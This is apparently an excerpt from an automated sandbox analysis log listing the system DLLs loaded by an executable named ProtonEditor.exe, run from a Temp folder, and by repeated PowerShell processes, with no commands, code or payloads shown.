    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dwrite.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dhcpcsvc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: kbdus.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: nlaapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dhcpcsvc6.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
